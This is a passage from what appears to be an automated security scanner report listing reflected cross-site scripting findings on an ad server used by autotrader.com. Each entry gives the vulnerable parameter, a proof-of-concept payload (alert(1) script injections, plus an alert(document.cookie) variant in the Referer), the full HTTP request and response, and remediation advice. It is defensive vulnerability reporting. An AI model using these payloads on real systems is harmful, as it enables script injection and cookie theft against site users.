application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295889980185_145363176_ap2100_int|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295929624056_58540807_as2107_imp|285#1295929624056_58540807_as2107_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 04:27:04 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Tue, 25 Jan 2011 04:27:03 GMT Content-Length: 18530
The value of the FlightID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5c10d"-alert(1)-"062e6ccec6 was submitted in the FlightID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tase/ad?AdBoxType=16&url=HI_ATC_Q4_HP&inv=autotrader&adId=t_736917&esc=0&rnd=838005&rcu=http://adserving.autotrader.com/event.ng/Type=click&FlightID=8506005c10d"-alert(1)-"062e6ccec6&AdID=2117284&TargetID=216438&ASeg=&AMod=&Segments=16718,17659,19280,19287,37200,41196,42568,51045,53802,93061,97293,107723,108064,112527,113656,116342,126077,132791,134700,140537,141190,142846,144937,146126,146297,146313,148888,149643&Targets=259945,259951,259957,259963,259969,259975,259981,155805,272133,216438,238656,262343,215180,217333,267376,267611,279401,271887,272977&Values=307,310,320,325,1168,1626,1638,1686,1720,1969,2016,2760,2796,2799,4690,7532,10209,10274,10433,11866,19959,34058,35455,36491,36879,37550,39460,39471,42434,42492,42493,43920&RawValues=PAGE_INSTANCEID%2C095352382072745203%2CTIMEID%2C1295921986&Redirect= HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295889980185_145363176_ap2100_int|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295929624128_58474466_as2112_imp|285#1295929624128_58474466_as2112_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 04:27:04 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Tue, 25 Jan 2011 04:27:03 GMT Content-Length: 18422
The value of the RawValues request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6d9ad"-alert(1)-"f428853feb was submitted in the RawValues parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tase/ad?AdBoxType=16&url=HI_ATC_Q4_HP&inv=autotrader&adId=t_736917&esc=0&rnd=838005&rcu=http://adserving.autotrader.com/event.ng/Type=click&FlightID=850600&AdID=2117284&TargetID=216438&ASeg=&AMod=&Segments=16718,17659,19280,19287,37200,41196,42568,51045,53802,93061,97293,107723,108064,112527,113656,116342,126077,132791,134700,140537,141190,142846,144937,146126,146297,146313,148888,149643&Targets=259945,259951,259957,259963,259969,259975,259981,155805,272133,216438,238656,262343,215180,217333,267376,267611,279401,271887,272977&Values=307,310,320,325,1168,1626,1638,1686,1720,1969,2016,2760,2796,2799,4690,7532,10209,10274,10433,11866,19959,34058,35455,36491,36879,37550,39460,39471,42434,42492,42493,43920&RawValues=PAGE_INSTANCEID%2C095352382072745203%2CTIMEID%2C12959219866d9ad"-alert(1)-"f428853feb&Redirect= HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295889980185_145363176_ap2100_int|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295929627832_58540946_as2107_imp|285#1295929627832_58540946_as2107_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 04:27:07 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Tue, 25 Jan 2011 04:27:07 GMT Content-Length: 18401
The value of the RawValues request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ca7d7"><script>alert(1)</script>68b15c3d96b was submitted in the RawValues parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tase/ad?AdBoxType=16&url=HI_ATC_Q4_HP&inv=autotrader&adId=t_736917&esc=0&rnd=838005&rcu=http://adserving.autotrader.com/event.ng/Type=click&FlightID=850600&AdID=2117284&TargetID=216438&ASeg=&AMod=&Segments=16718,17659,19280,19287,37200,41196,42568,51045,53802,93061,97293,107723,108064,112527,113656,116342,126077,132791,134700,140537,141190,142846,144937,146126,146297,146313,148888,149643&Targets=259945,259951,259957,259963,259969,259975,259981,155805,272133,216438,238656,262343,215180,217333,267376,267611,279401,271887,272977&Values=307,310,320,325,1168,1626,1638,1686,1720,1969,2016,2760,2796,2799,4690,7532,10209,10274,10433,11866,19959,34058,35455,36491,36879,37550,39460,39471,42434,42492,42493,43920&RawValues=PAGE_INSTANCEID%2C095352382072745203%2CTIMEID%2C1295921986ca7d7"><script>alert(1)</script>68b15c3d96b&Redirect= HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295889980185_145363176_ap2100_int|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295929627752_58477304_as2109_imp|285#1295929627752_58477304_as2109_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 04:27:07 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Tue, 25 Jan 2011 04:27:07 GMT Content-Length: 18551
The value of the Redirect request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2f538"><script>alert(1)</script>d0808468015 was submitted in the Redirect parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tase/ad?AdBoxType=16&url=HI_ATC_Q4_HP&inv=autotrader&adId=t_736917&esc=0&rnd=838005&rcu=http://adserving.autotrader.com/event.ng/Type=click&FlightID=850600&AdID=2117284&TargetID=216438&ASeg=&AMod=&Segments=16718,17659,19280,19287,37200,41196,42568,51045,53802,93061,97293,107723,108064,112527,113656,116342,126077,132791,134700,140537,141190,142846,144937,146126,146297,146313,148888,149643&Targets=259945,259951,259957,259963,259969,259975,259981,155805,272133,216438,238656,262343,215180,217333,267376,267611,279401,271887,272977&Values=307,310,320,325,1168,1626,1638,1686,1720,1969,2016,2760,2796,2799,4690,7532,10209,10274,10433,11866,19959,34058,35455,36491,36879,37550,39460,39471,42434,42492,42493,43920&RawValues=PAGE_INSTANCEID%2C095352382072745203%2CTIMEID%2C1295921986&Redirect=2f538"><script>alert(1)</script>d0808468015 HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295889980185_145363176_ap2100_int|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295929628077_58541665_as2105_imp|285#1295929628077_58541665_as2105_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 04:27:08 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Tue, 25 Jan 2011 04:27:07 GMT Content-Length: 18537
The value of the Redirect request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d19ae"-alert(1)-"c6e6f69cf49 was submitted in the Redirect parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tase/ad?AdBoxType=16&url=HI_ATC_Q4_HP&inv=autotrader&adId=t_736917&esc=0&rnd=838005&rcu=http://adserving.autotrader.com/event.ng/Type=click&FlightID=850600&AdID=2117284&TargetID=216438&ASeg=&AMod=&Segments=16718,17659,19280,19287,37200,41196,42568,51045,53802,93061,97293,107723,108064,112527,113656,116342,126077,132791,134700,140537,141190,142846,144937,146126,146297,146313,148888,149643&Targets=259945,259951,259957,259963,259969,259975,259981,155805,272133,216438,238656,262343,215180,217333,267376,267611,279401,271887,272977&Values=307,310,320,325,1168,1626,1638,1686,1720,1969,2016,2760,2796,2799,4690,7532,10209,10274,10433,11866,19959,34058,35455,36491,36879,37550,39460,39471,42434,42492,42493,43920&RawValues=PAGE_INSTANCEID%2C095352382072745203%2CTIMEID%2C1295921986&Redirect=d19ae"-alert(1)-"c6e6f69cf49 HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295889980185_145363176_ap2100_int|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295929628151_58475832_as2110_imp|285#1295929628151_58475832_as2110_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 04:27:08 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Tue, 25 Jan 2011 04:27:07 GMT Content-Length: 18411
The value of the Segments request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9d118"-alert(1)-"ae01b33c400 was submitted in the Segments parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tase/ad?AdBoxType=16&url=HI_ATC_Q4_HP&inv=autotrader&adId=t_736917&esc=0&rnd=838005&rcu=http://adserving.autotrader.com/event.ng/Type=click&FlightID=850600&AdID=2117284&TargetID=216438&ASeg=&AMod=&Segments=16718,17659,19280,19287,37200,41196,42568,51045,53802,93061,97293,107723,108064,112527,113656,116342,126077,132791,134700,140537,141190,142846,144937,146126,146297,146313,148888,1496439d118"-alert(1)-"ae01b33c400&Targets=259945,259951,259957,259963,259969,259975,259981,155805,272133,216438,238656,262343,215180,217333,267376,267611,279401,271887,272977&Values=307,310,320,325,1168,1626,1638,1686,1720,1969,2016,2760,2796,2799,4690,7532,10209,10274,10433,11866,19959,34058,35455,36491,36879,37550,39460,39471,42434,42492,42493,43920&RawValues=PAGE_INSTANCEID%2C095352382072745203%2CTIMEID%2C1295921986&Redirect= HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295889980185_145363176_ap2100_int|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295929626458_58541757_as2104_imp|285#1295929626458_58541757_as2104_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 04:27:06 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Tue, 25 Jan 2011 04:27:05 GMT Content-Length: 18388
The value of the Segments request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c11df"><script>alert(1)</script>1d93e77bc17 was submitted in the Segments parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tase/ad?AdBoxType=16&url=HI_ATC_Q4_HP&inv=autotrader&adId=t_736917&esc=0&rnd=838005&rcu=http://adserving.autotrader.com/event.ng/Type=click&FlightID=850600&AdID=2117284&TargetID=216438&ASeg=&AMod=&Segments=16718,17659,19280,19287,37200,41196,42568,51045,53802,93061,97293,107723,108064,112527,113656,116342,126077,132791,134700,140537,141190,142846,144937,146126,146297,146313,148888,149643c11df"><script>alert(1)</script>1d93e77bc17&Targets=259945,259951,259957,259963,259969,259975,259981,155805,272133,216438,238656,262343,215180,217333,267376,267611,279401,271887,272977&Values=307,310,320,325,1168,1626,1638,1686,1720,1969,2016,2760,2796,2799,4690,7532,10209,10274,10433,11866,19959,34058,35455,36491,36879,37550,39460,39471,42434,42492,42493,43920&RawValues=PAGE_INSTANCEID%2C095352382072745203%2CTIMEID%2C1295921986&Redirect= HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295889980185_145363176_ap2100_int|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295929626382_58666992_as2102_imp|285#1295929626382_58666992_as2102_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 04:27:06 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Tue, 25 Jan 2011 04:27:05 GMT Content-Length: 18533
The value of the TargetID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bc202"-alert(1)-"3e687818da was submitted in the TargetID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tase/ad?AdBoxType=16&url=HI_ATC_Q4_HP&inv=autotrader&adId=t_736917&esc=0&rnd=838005&rcu=http://adserving.autotrader.com/event.ng/Type=click&FlightID=850600&AdID=2117284&TargetID=216438bc202"-alert(1)-"3e687818da&ASeg=&AMod=&Segments=16718,17659,19280,19287,37200,41196,42568,51045,53802,93061,97293,107723,108064,112527,113656,116342,126077,132791,134700,140537,141190,142846,144937,146126,146297,146313,148888,149643&Targets=259945,259951,259957,259963,259969,259975,259981,155805,272133,216438,238656,262343,215180,217333,267376,267611,279401,271887,272977&Values=307,310,320,325,1168,1626,1638,1686,1720,1969,2016,2760,2796,2799,4690,7532,10209,10274,10433,11866,19959,34058,35455,36491,36879,37550,39460,39471,42434,42492,42493,43920&RawValues=PAGE_INSTANCEID%2C095352382072745203%2CTIMEID%2C1295921986&Redirect= HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295889980185_145363176_ap2100_int|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295929625354_58541718_as2104_imp|285#1295929625354_58541718_as2104_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 04:27:05 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Tue, 25 Jan 2011 04:27:04 GMT Content-Length: 18394
The value of the TargetID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e7798"><script>alert(1)</script>c562a1c893e was submitted in the TargetID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tase/ad?AdBoxType=16&url=HI_ATC_Q4_HP&inv=autotrader&adId=t_736917&esc=0&rnd=838005&rcu=http://adserving.autotrader.com/event.ng/Type=click&FlightID=850600&AdID=2117284&TargetID=216438e7798"><script>alert(1)</script>c562a1c893e&ASeg=&AMod=&Segments=16718,17659,19280,19287,37200,41196,42568,51045,53802,93061,97293,107723,108064,112527,113656,116342,126077,132791,134700,140537,141190,142846,144937,146126,146297,146313,148888,149643&Targets=259945,259951,259957,259963,259969,259975,259981,155805,272133,216438,238656,262343,215180,217333,267376,267611,279401,271887,272977&Values=307,310,320,325,1168,1626,1638,1686,1720,1969,2016,2760,2796,2799,4690,7532,10209,10274,10433,11866,19959,34058,35455,36491,36879,37550,39460,39471,42434,42492,42493,43920&RawValues=PAGE_INSTANCEID%2C095352382072745203%2CTIMEID%2C1295921986&Redirect= HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295889980185_145363176_ap2100_int|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295929625279_58477214_as2109_imp|285#1295929625279_58477214_as2109_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 04:27:05 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Tue, 25 Jan 2011 04:27:04 GMT Content-Length: 18538
The value of the Targets request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fbf4f"><script>alert(1)</script>8f9396390d1 was submitted in the Targets parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tase/ad?AdBoxType=16&url=HI_ATC_Q4_HP&inv=autotrader&adId=t_736917&esc=0&rnd=838005&rcu=http://adserving.autotrader.com/event.ng/Type=click&FlightID=850600&AdID=2117284&TargetID=216438&ASeg=&AMod=&Segments=16718,17659,19280,19287,37200,41196,42568,51045,53802,93061,97293,107723,108064,112527,113656,116342,126077,132791,134700,140537,141190,142846,144937,146126,146297,146313,148888,149643&Targets=259945,259951,259957,259963,259969,259975,259981,155805,272133,216438,238656,262343,215180,217333,267376,267611,279401,271887,272977fbf4f"><script>alert(1)</script>8f9396390d1&Values=307,310,320,325,1168,1626,1638,1686,1720,1969,2016,2760,2796,2799,4690,7532,10209,10274,10433,11866,19959,34058,35455,36491,36879,37550,39460,39471,42434,42492,42493,43920&RawValues=PAGE_INSTANCEID%2C095352382072745203%2CTIMEID%2C1295921986&Redirect= HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295889980185_145363176_ap2100_int|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295929626701_58475779_as2110_imp|285#1295929626701_58475779_as2110_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 04:27:06 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Tue, 25 Jan 2011 04:27:06 GMT Content-Length: 18990
The value of the Targets request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f2713"-alert(1)-"cfdec192739 was submitted in the Targets parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tase/ad?AdBoxType=16&url=HI_ATC_Q4_HP&inv=autotrader&adId=t_736917&esc=0&rnd=838005&rcu=http://adserving.autotrader.com/event.ng/Type=click&FlightID=850600&AdID=2117284&TargetID=216438&ASeg=&AMod=&Segments=16718,17659,19280,19287,37200,41196,42568,51045,53802,93061,97293,107723,108064,112527,113656,116342,126077,132791,134700,140537,141190,142846,144937,146126,146297,146313,148888,149643&Targets=259945,259951,259957,259963,259969,259975,259981,155805,272133,216438,238656,262343,215180,217333,267376,267611,279401,271887,272977f2713"-alert(1)-"cfdec192739&Values=307,310,320,325,1168,1626,1638,1686,1720,1969,2016,2760,2796,2799,4690,7532,10209,10274,10433,11866,19959,34058,35455,36491,36879,37550,39460,39471,42434,42492,42493,43920&RawValues=PAGE_INSTANCEID%2C095352382072745203%2CTIMEID%2C1295921986&Redirect= HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295889980185_145363176_ap2100_int|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295929627106_58540920_as2107_imp|285#1295929627106_58540920_as2107_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 04:27:07 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Tue, 25 Jan 2011 04:27:06 GMT Content-Length: 18418
The value of the Values request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9f765"-alert(1)-"eb22a847e48 was submitted in the Values parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
